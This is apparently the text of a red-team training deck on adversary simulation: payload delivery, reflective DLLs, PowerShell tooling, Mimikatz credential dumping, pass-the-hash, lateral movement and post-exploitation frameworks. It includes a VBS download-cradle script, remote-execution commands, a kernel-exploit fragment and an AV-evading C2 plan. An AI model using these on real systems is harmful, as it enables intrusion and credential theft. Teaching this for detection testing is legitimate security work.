Flying a Cylon Raider

Tool Agnostic Fundamentals
Every flying machine has four basic controls: Power, Pitch, Yaw, and Roll. Where are yours?
From Salmon to Scarlet

• **Adversary Simulations:**
  – “Assume Breach”
  – External Actor
  – Post-exploitation and Lateral Movement Emphasis
  – Communication & Stealth Needs will dictate tools

• **Measure Detection and Response!**
Overview

• Delivery
• PowerShell
• Privilege Escalation
• Harvesting Credentials
• Lateral Movement
• Post-exploitation “Platforms”
Payload Delivery

C2 Server → download attack with stager...

C2 Server → download stage

C2 Server → encrypted C2
Meet the Reflective DLL

Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process.

13 commits
1 branch
0 releases
2 contributors

Branch: master

stephenfewer update bins and gitconfig
- bin: update bins and gitconfig
- dll: bugfix, REFLECTIVELOADER's return type was not defined correctly for ...
- inject: bugfix, REFLECTIVELOADER's return type was not defined correctly for ...
- .gitignore: update bins and gitconfig
- LICENSE.txt: First Commit.
- Readme.md: update readme to specify what os/arch this all works on.
- rdi.sln: Windows RT (ARM) dll injection support. Upgraded project to Visual St...
Target: Ruby
Use Metasploit exploit to deliver Reflective DLL “Hello World”
PowerShell

- PowerShell
  - Free post-exploitation automation
  - PowerShell Empire’s PowerTools
    https://github.com/PowerShellEmpire/PowerTools
  - PowerSploit
    https://github.com/PowerShellMafia/PowerSploit
  - Weaponization is Agent specific!
PowerShell

• PowerSploit
  – Port Scanner
  – Screenshots
  – Token Impersonation and Manipulation
  – post/windows/gather/credentials/gpp
  – Mimikatz

• PowerUp
  – exploit/windows/local/*

• PowerView
  – post/windows/gather/enum_ad*
Weaponization Methods

• Download Cradle

• Unmanaged PowerShell
  – https://github.com/leechristensen/UnmanagedPowerShell

• Others? Yes...
PowerShell

Windows PowerShell Blog
Automating the world one-liner at a time...

PowerShell ♥ the Blue Team

(Warning: Long blog post ahead! If you’d like to read (or share) this as a whitepaper, you can download it here: “Scripting Security and Protection Advances in Windows 10”).

We're calling this AMSI -- the Antimalware Scan Interface. PowerShell now submits all script content (interactive and otherwise) to the registered antimalware engine -- including additional calls for scripts the employ obfuscation or layer dynamic code evaluation. For more information about how PowerShell interacts with the Antimalware Scan Interface, see: http://blogs.technet.com/b/mmpc/archive/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses.aspx.

<table>
<thead>
<tr>
<th>CVE</th>
<th>Description</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-5353</td>
<td>add a makefile so i don't forget how to compile this stuff</td>
<td>5 years ago</td>
</tr>
<tr>
<td>CVE-2008-5499</td>
<td>Minor fixes</td>
<td>4 years ago</td>
</tr>
<tr>
<td>CVE-2008-8508</td>
<td>Module rewrite, included Java support, direct upload, plugin deletion</td>
<td>3 years ago</td>
</tr>
<tr>
<td>CVE-2009-3667</td>
<td>compile java applet with 1.3, Fixes #685</td>
<td>6 years ago</td>
</tr>
<tr>
<td>CVE-2009-3669</td>
<td>add exploit module for cve-2009-3669</td>
<td>6 years ago</td>
</tr>
<tr>
<td>CVE-2010-0094</td>
<td>add an exploit module for cve-2010-0094, thanks Matthias Kaiser.</td>
<td>5 years ago</td>
</tr>
<tr>
<td>CVE-2010-0232</td>
<td>Quick fix to x64 kitrap0d project</td>
<td>2 years ago</td>
</tr>
<tr>
<td>CVE-2010-0840</td>
<td>add source code for cve-2010-0840</td>
<td>5 years ago</td>
</tr>
</tbody>
</table>
// 'crash' it!
TrackPopupMenu(hMenuTwo, 0, -10000, -10000, 0, hWnd, NULL);

// If everything worked process should be privileges at this point
dprintf("[!] Executing payload...");
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;
    switch (dwReason)
    {
    case DLL_QUERY_HMODULE:
        hAppInstance = hinstDLL;
        if (lpReserved != NULL)
        {
            *(HMODULE *)lpReserved = hAppInstance;
        }
        break;
    case DLL_PROCESS_ATTACH:
        hAppInstance = hinstDLL;
        win32k_null_page(lpReserved);
        break;
    }
## Harvesting Credentials

<table>
<thead>
<tr>
<th>Mimikatz Command</th>
<th>What?</th>
</tr>
</thead>
<tbody>
<tr>
<td>lsadump::cache</td>
<td>Cached Credentials</td>
</tr>
<tr>
<td>lsadump::sam</td>
<td>Local User Account Password Hashes</td>
</tr>
<tr>
<td>sekurlsa::logonpasswords</td>
<td>Hashes + Credentials from LSASS</td>
</tr>
<tr>
<td>lsadump::dcsync</td>
<td>NTLM hash of an account from the DC</td>
</tr>
</tbody>
</table>

More documentation at: https://github.com/gentilkiwi/mimikatz/wiki
1. privilege::debug
2. sekurlsa::logonpasswords
Lateral Movement

1. Enumerate Network
2. Create Trust Relationship
3. Remote Code Execution
# Enumerate Network

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>net view /DOMAIN</td>
<td>Find out which domain I trust</td>
</tr>
<tr>
<td>net view /DOMAIN:[domain]</td>
<td>See which hosts are in a domain</td>
</tr>
<tr>
<td>net group “domain computers” /DOMAIN</td>
<td>Computer Accounts joined to domain</td>
</tr>
<tr>
<td>nltest /dclist:[domain]</td>
<td>See which hosts are DCs for a domain</td>
</tr>
<tr>
<td>nltest /domain_trusts</td>
<td>Map domain trusts</td>
</tr>
<tr>
<td>nltest /server:[address] /domain_trusts</td>
<td></td>
</tr>
<tr>
<td>arp –a</td>
<td>The usual suspects</td>
</tr>
<tr>
<td>ipconfig /displaydns</td>
<td></td>
</tr>
<tr>
<td>netstat -na</td>
<td></td>
</tr>
</tbody>
</table>


Show basic reconnaissance actions
Trust Relationships

- Administrator trusts allow us to do things!
  - Interact w/ admin shares and schedule processes
  - Both Local and Domain Administrator trusts matter!!
- Am I an admin?
  dir \host\C$
at \host
Access Token

• Created after logon
• Associated with each process and thread
• Contains:
  – User and Group Information
  – A list of privileges on local computer
  – Restrictions (user/group rights taken away)
  – Reference to credentials (supports single sign-on)
• Persists in memory until reboot
Credentials

• To create a trust with a system:

```text
net use \host\C$ /USER:DOMAIN\user password
```
Credentials

• post/windows/manage/run_as

• Create a token with known creds:
  – runas /user:DOMAIN\user whatever.exe

• Create a token to pass creds:
  – runas /user:DOMAIN\user /netonly whatever.exe
SHELL ESCALATION USING VBS (NEED ELEVATED CREDENTIALS)

# Create .vbs script with the following

Set shell = wscript.createobject("wscript.shell")
shell.run "runas /user:<user> " & """ &
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c " & """ & "IEX ((New-
Object Net.WEBClient).downloadstring('〈url〉'))" & """ & ""

wscript.sleep (100)
shell.Sendkeys "<password>" & "{ENTER}"
Use mimikatz to pass-the-hash:

sekurlsa::pth
/users: USER
/domain: DOMAIN
/ntlm: NTLMHASH
/run: COMMAND

Spawns a process with an access token that passes the username and hash you provide.
Pass-the-hash with mimikatz... awww yeah!
Code Execution

- Task Scheduler
  net time \"target\n  at \"target HH:MM c:\path\to\bad.exe

- Windows Management Instrumentation Command
  wmic /node:TARGET process call create "c:\path\to\bad.exe"

- Service Control Manager
  sc \"TARGET create NAME binpath= c:\path\to\bad.exe
  sc \"TARGET start NAME
WinRM (port 5985) can run commands too...

Invoke-Command
  -ComputerName TARGET
  -ScriptBlock { command here }
Use WinRM to PTH
Post-exploitation “Platforms”
• Developed by Immunity, Inc.

• Summary
  – Python Post-ex Framework built as Reflective DLL
  – Channels: ICMP, email, DNS, named pipes, ...

http://www.immunityinc.com/products/innuendo/
• Developers: W. Schroeder, J. Warner, & M. Nelson

• Summary
  – PowerShell Post-Exploitation Agent
  – Built on “Unmanaged PowerShell” Reflective DLL
  – Channels: HTTP/S [more later…]

http://www.powershellempire.com
(Empire) > listeners

[*] Active listeners:

<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Host</th>
<th>Type</th>
<th>Delay/Jitter</th>
<th>KillDate</th>
<th>Redirect Target</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>test</td>
<td><a href="http://192.168.52.146:8080">http://192.168.52.146:8080</a></td>
<td>native</td>
<td>5/0.0</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

(Empire: listeners) > info

Listener Options:

<table>
<thead>
<tr>
<th>Name</th>
<th>Required</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>KillDate</td>
<td>False</td>
<td></td>
<td>Date for the listener to exit (MM/dd/yyyy).</td>
</tr>
<tr>
<td>Name</td>
<td>True</td>
<td>test</td>
<td>Listener name.</td>
</tr>
<tr>
<td>StagingKey</td>
<td>True</td>
<td></td>
<td>Staging key for initial agent negotiation.</td>
</tr>
<tr>
<td>Type</td>
<td>True</td>
<td>native</td>
<td>Listener type (native, pivot, hop, foreign, meter).</td>
</tr>
<tr>
<td>RedirectTarget</td>
<td>False</td>
<td></td>
<td>Listener target to redirect to for pivot/hop.</td>
</tr>
<tr>
<td>DefaultDelay</td>
<td>True</td>
<td>5</td>
<td>Agent delay/reach back interval (in seconds).</td>
</tr>
<tr>
<td>WorkingHours</td>
<td>False</td>
<td></td>
<td>Hours for the agent to operate (09:00-17:00).</td>
</tr>
<tr>
<td>CertPath</td>
<td>False</td>
<td></td>
<td>Certificate path for https listeners.</td>
</tr>
<tr>
<td>DefaultJitter</td>
<td>True</td>
<td>0.0</td>
<td>Jitter in agent reachback interval (0.0-1.0).</td>
</tr>
<tr>
<td>DefaultProfile</td>
<td>True</td>
<td>/admin/get.php,/news.asp,/login/process.jsp;Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko</td>
<td>Default communication profile for the agent.</td>
</tr>
<tr>
<td>Port</td>
<td>True</td>
<td>8080</td>
<td>Port for the listener.</td>
</tr>
</tbody>
</table>
• Developed by @n1nj4sec
• Summary
  – Python Post-ex Framework built as Reflective DLL
  – Channels: TCP [w/ different representation]

https://github.com/n1nj4sec/pupy
```
>> info
macaddr : 85:4F:58:07:E7:EA
pid : 3544
exec_path : C:\Windows\system32\notepad.exe
address : 192.168.2.134
proc_arch : 64bit
hostname : WIN7-TEST
os_arch : AMD64
version : 6.1.7601
release : 7

>> run memory_exec /usr/share/mimikatz/x64/mimikatz.exe privilege::debug sekurlsa::logonpasswords

.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Jul 15 2015 01:15:56)
.## ^ ##.
## / \ ## /* * *
## / ##  Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com)
'## v ##'  http://blog.gentilkiwi.com/mimikatz (oe.oe)
'#####'

with 16 modules * * */

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 299516 (0000000000:000491fc)
Session : Interactive from 1
User Name : me
Domain : WIN7-TEST
Logon Server : WIN7-TEST
Logon Time : 08/10/2015 18:46:08
```
Throwback and Slingshot

- Developed by Silent Break Security
- Throwback
  - “asynchronous” agent for persistence (HTTP/S)
- Slingshot
  - Interactive agent for post-exploitation
  - Channels: HTTP/S, named pipes

https://github.com/silentbreaksec
Google: Dark Side Operations
<table>
<thead>
<tr>
<th>Details</th>
<th>OS</th>
<th>Version</th>
<th>IP Address</th>
<th>Target Name</th>
<th>Callback Period</th>
<th>Last Callback</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Windows</td>
<td>7.1.57</td>
<td>192.168.187.100</td>
<td>DARKSIDEDEV</td>
<td>1 minutes</td>
<td>Dec 18, 2014 12:14 pm</td>
<td>![History]  ![Radar]</td>
</tr>
<tr>
<td></td>
<td>Windows</td>
<td>7.1.57</td>
<td>192.168.187.200</td>
<td>LUCASLEE-PC</td>
<td>1 minutes</td>
<td>Dec 8, 2014 6:15 pm</td>
<td>![History]  ![Radar]</td>
</tr>
</tbody>
</table>
[+] Enabled SeBackupPrivilege
[+] Enabled SeRestorePrivilege
[+] Enabled SeShutdownPrivilege
[+] Enabled SeSystemEnvironmentPrivilege
[+] Enabled SeChangeNotifyPrivilege
[+] Enabled SeRemoteShutdownPrivilege
[+] Enabled SeUndockPrivilege
[+] Enabled SeManageVolumePrivilege
DARKSIDEDEV> help

Documented commands (type help <topic>):
==========================================
download getpid getuid help interact mimikatz upload
exit getprivs hashdump idletime listtargets rev2self

Undocumented commands:
-----------------------
EOF

DARKSIDEDEV> hashdump
Administrator:500:aad3b435b51404eaaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
Guest:501:aad3b435b51404eaaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
lab:1000:aad3b435b51404eaaad3b435b51404ee:afc44ee7351d61d00698796da06b1ebf::
DARKSIDEDEV> [+] Added new HTTP target zGge2jOD5f from 192.168.187.100 at 17:08 on Dec 18
Build Your Own...

What’s the plan?

- Delivery through email with Office macro
- C2 with Twitter, exfil with Pastebin
- Use Tor to connect to 3rd party services
- Code in PowerShell since it is allowed by whitelist and won’t flag AV
- Add logic to avoid off-hours network traffic
- Use browser’s proxy settings and user-agent
- Implement some randomness to “beacons”
Power, Pitch, Yaw, and Roll

- Reflective DLL
- [Covert] Communication Channel
- Execute Commands / Upload Files / ...
- PowerShell
- Mimikatz
Summary

• Delivery
• PowerShell
• Privilege Escalation
• Harvesting Credentials
• Lateral Movement
• Post Exploitation “Platforms”